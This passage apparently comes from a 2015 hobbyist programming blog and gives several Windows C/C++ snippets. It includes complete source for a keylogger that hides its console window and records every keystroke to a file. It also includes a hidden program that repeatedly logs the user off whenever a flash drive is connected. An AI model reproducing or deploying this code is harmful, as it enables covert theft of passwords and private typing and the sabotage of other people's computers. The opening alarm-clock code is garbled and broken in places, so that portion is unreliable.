            if(k>25)
            {
                    cout<<"hmm";
                    reset();
                    }
            cout<<"minute\t=";
                cout<<"\a";
            cin>>j;
            if(j>59)
            {
                    reset();
                    }
            cout<<"sec\t=";
                cout<<"\a";
            cin>>i;
            system("cls");
     cout << " sucses  mr. sky\n";
    cout<<"\a\a";
    for(;i<61;i++)
    {
 Sleep(1000);

 //cout << " \a";

system("cls");
cout<<"\n\n\n\n\n\n\n\n\n";
cout<<"  \t|**-----------------------------------**|\n";
cout<<"\t|   hh\t";
cout<<"  \tmm\t";
cout<<"\ts       |\n";

cout<<"\t|   ";
cout<=59)
{
           j++;
         // cout<=60)
           {
               k++;
               j=0;
              // cout<=25)
{
         k=1;
         l++;
         }
      
   
    
                     
               if(j==y&&k==x&&i==z)
    {
                    Sleep(300); 
                     cout<<" \n\n\n\nalrm.......\a";
                     ShellExecute(NULL,NULL,"C:\\mr.sky_2.0\\alm tone\\text_alert.mp3",NULL,NULL,SW_SHOW);
                     ShellExecute(NULL,NULL,"C:\\MR.SKY_2.0\\DEFULT SOFT\\SYSTEM V.exe",NULL,NULL,SW_SHOW);
                     exit(0);
}       
}
  }     
}
}

/*best use in dev c++. In windows only*/
 

How to make KeyLogger in C/C++ ?

it works on windows only.
After running this it store key value in keystrokes.txt file (current dir).
It view in process in taskmgr.

       
#include iostream>
using namespace std;
#include windows.h>
#include winuser.h>
int Save (int key_stroke, char *file);
//void Stealth();


int main()
{
    // cocde for hideing the consol_window

    HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);

ShowWindow(stealth,0);
 // cocde for hideing the consol_window
      

char i;

while (1)
{
for(int i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"keystrokes.txt");
}
}
system ("PAUSE");
return 0;
}


int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/*best use in dev c++. In windows only*/
 

Thursday, 21 May 2015

How to block or hang a Computer When a Flash drive is Connected ..?

#include<iostream>
#include <windows.h>
using namespace std;
void Runn(int i)
{
     if(i==0)
     {for(int i=0;i<10;i++)
     {
              system("shutdown /l");
             
              }
             }
             else
             {
                  cout<<"IN processing.....\a";
                  }
   
     }


main()
{//pasted cocde
    HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
 ////pasted cocde.............................................................    
     
     
     
      while(1)
{
    if(  system("G:")==0 )//write all g:, h: ,i: etc..
    {  Runn(0);
   
     
         }
         else
         {
             Runn(1);
             }
      }
}


Saturday, 9 May 2015

How to Generate Multiple color in Console in C/C++?

       

           //in gcc devc ide
  #include //iostream,conio,windows header file..

  #include
  #include

  int main()
  {  
          int i;
  for(i=0;;i++)

  {
          if(i%2==0)
  {  
      system("color 10");
       Sleep(100);
         system("color 20");
          Sleep(100);
         system("color 30");                     
            Sleep(100);
         system("color 40");
            Sleep(100);
         system("color 50");
            Sleep(100);
         system("color 60");
          Sleep(100);
         system("color 70");
            Sleep(100);
         system("color 80");
            Sleep(100);
         system("color 90");
     }   
     else if(i%6==0)

     {       
                                                   system("color 10");
                                             Sleep(300);
                                             system("color 20");
                                              Sleep(300);
                      system("color 30");
                           Sleep(300);
                                          system("color 40");
                                             Sleep(300);
                                           system("color 50");
                                             Sleep(300);
                                           system("color 60");
                                             Sleep(300);
                                           system("color 70");
                                             Sleep(300);
                                           system("color 80");
                                             Sleep(300);
                                           system("color 90");

       }  
       else
       {   
       system("color 10");
             Sleep(400);
          system("color 20");
          Sleep(400);           
                                                              

                system("color 30");
                           Sleep(400);
                system("color 40");
                           Sleep(400);
                system("color 50");
                     Sleep(400);
                system("color 60");
                      Sleep(400);
                system("color 70");
                     Sleep(400);
                system("color 80");
                           Sleep(400);
                system("color 90");
                         }


     } 


     return 0;


     }


       
 

Friday, 8 May 2015

How to Shutdown Computer By C program?

#include<stdio.h>
main()
{
system("shutdown /p");//for shutdown
system("shutdown /h");  //for hibernate
system("shutdown /l");//for log out

// this can aslo use to run any system process
}